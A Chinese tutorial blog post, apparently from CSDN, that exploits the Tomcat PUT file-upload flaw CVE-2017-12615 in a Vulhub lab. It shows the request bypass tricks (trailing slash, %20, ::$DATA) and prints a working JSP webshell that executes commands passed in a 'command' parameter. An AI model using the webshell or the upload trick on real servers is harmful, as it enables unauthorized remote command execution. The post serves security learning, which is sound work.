当前位置: 首页 > news >正文

CVE-2017-12615 Tomcat任意文件上传漏洞详解

今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2017-12615 Tomcat任意文件上传漏洞详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、漏洞简介

Tomca的7.0.0 - 7.0.79(7.0.81修复不完全)版本存在一个任意文件上传漏洞,漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当,启用了PUT的方法(例如将readonly参数由初始值设置为false),这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell,导致上传文件中的恶意JSP代码执行。

二、Vulhub漏洞环境启动

接下来,我们就使用Vulhub来快速搭建漏洞环境,Vulhub靶场的下载和安装请参考:Vulhub漏洞靶场搭建和使用。
我们在安装好Vulhub靶场后,执行命令:

docker-compose build

即可远程拉取靶场,该命令执行过程如下所示:
在这里插入图片描述
执行结束后如下所示:
在这里插入图片描述
靶场拉取完毕后,就可以启动靶场了,靶场启动命令是:

docker-compose up -d

该命令执行结果如下所示:
在这里插入图片描述
靶场启动完成后,可以执行命令:

docker-compose config

来查看靶场的配置,该命令执行结果如下所示:
在这里插入图片描述
这样,我们就可以看到,我们的靶场已经启动成功,并且开放了8080的端口供我们访问。

三、漏洞实战

接下来,我们就可以进行实战了。
首先,我们先抓取一个访问该站点的数据包,如下所示:
在这里插入图片描述
接下来,我们将该数据包发送到Repeater模块,将数据包中的方法改为PUT,并访问的URL改成我们想要上传的文件名称,注意,在这里要在最后加上一个斜杠,否则上传会报错,在数据包的最后,加上PUT的内容,就是我们要上传的文件中的内容,构造完成后的数据包如下所示:
在这里插入图片描述
从上图中可以看出,我们发送上传后的数据包后,发现201的回显,这证明我们的文件上传成功!
我们可以访问我们上传后的文件(注意要去掉最后的斜杠),发送可以成功访问,如下所示:
在这里插入图片描述
同样的,我们可以把文件名称后的斜杠换成%20或者是::$DATA,可以起到同样的效果,这两种方式的文件上传数据包构建如下所示:

在这里插入图片描述
在这里插入图片描述
这两种方式上传文件访问(注意以这两种方式访问,需要在后面添加%20或者是::$DATA)结果如下所示:
在这里插入图片描述
在这里插入图片描述
接下来开始实战,我们把上述简单的测试内容换成JSP的带回显的木马,内容如下所示:

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

然后将其作为数据包的内容,以同样的方式上传,数据包构造以及上传结果如下所示:
在这里插入图片描述
这样,我们就可以通过command参数的控制来执行命令了,结果如下所示:
在这里插入图片描述
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

相关文章:

  • 10.2国庆作业(PWM实验)
  • Java开发环境基础配置
  • 基于springboot和ftp实现的网盘文件系统
  • Maven创建聚合项目
  • ASP.NET MVC--视图
  • java基础巩固-宇宙第一AiYWM:为了维持生计,虽然咱没机会经历双11这种技术阅兵场,但是看看人家写的阅兵场日记,先xiao习xiao习一下嘛~整起
  • Mybatis配置详解 | 深入理解 『带上CSDN一起玩转国庆』
  • 断断续续学习算法的5年
  • Qt 精确定时器
  • mysql中int(11)与int(1)的区别与联系
  • 【Vue】Vue的v-for指令
  • 【Hadoop---09】MapReduce:MapReduce概述
  • 黑马旅游网-配置项目(一)
  • 【C语言】continue 关键字
  • java基于springboot+Vue+nodejs的高校网上二手闲置跳蚤市场 element
  • 《Java8实战》-第四章读书笔记(引入流Stream)
  • EventListener原理
  • happypack两次报错的问题
  • Java多线程(4):使用线程池执行定时任务
  • leetcode46 Permutation 排列组合
  • Next.js之基础概念(二)
  • TCP拥塞控制
  • 电商搜索引擎的架构设计和性能优化
  • 回顾 Swift 多平台移植进度 #2
  • 简析gRPC client 连接管理
  • 消息队列系列二(IOT中消息队列的应用)
  • 运行时添加log4j2的appender
  • 7行Python代码的人脸识别
  • const的用法,特别是用在函数前面与后面的区别
  • Prometheus VS InfluxDB
  • raise 与 raise ... from 的区别
  • ​LeetCode解法汇总2304. 网格中的最小路径代价
  • #Z2294. 打印树的直径
  • #微信小程序:微信小程序常见的配置传旨
  • (10)Linux冯诺依曼结构操作系统的再次理解
  • (173)FPGA约束:单周期时序分析或默认时序分析
  • (windows2012共享文件夹和防火墙设置
  • (附源码)ssm经济信息门户网站 毕业设计 141634
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (十八)用JAVA编写MP3解码器——迷你播放器
  • (十一)c52学习之旅-动态数码管
  • (转)visual stdio 书签功能介绍
  • (转)微软牛津计划介绍——屌爆了的自然数据处理解决方案(人脸/语音识别,计算机视觉与语言理解)...
  • ***测试-HTTP方法
  • .class文件转换.java_从一个class文件深入理解Java字节码结构
  • .NET 中 GetHashCode 的哈希值有多大概率会相同(哈希碰撞)
  • .NET 中选择合适的文件打开模式(CreateNew, Create, Open, OpenOrCreate, Truncate, Append)
  • .Net 转战 Android 4.4 日常笔记(4)--按钮事件和国际化
  • :=
  • @DateTimeFormat 和 @JsonFormat 注解详解
  • [AIGC] Nacos:一个简单 yet powerful 的配置中心和服务注册中心
  • [Angular] 笔记 18:Angular Router
  • [BZOJ1040][P2607][ZJOI2008]骑士[树形DP+基环树]
  • [C/C++]数据结构 堆的详解
  • [C]编译和预处理详解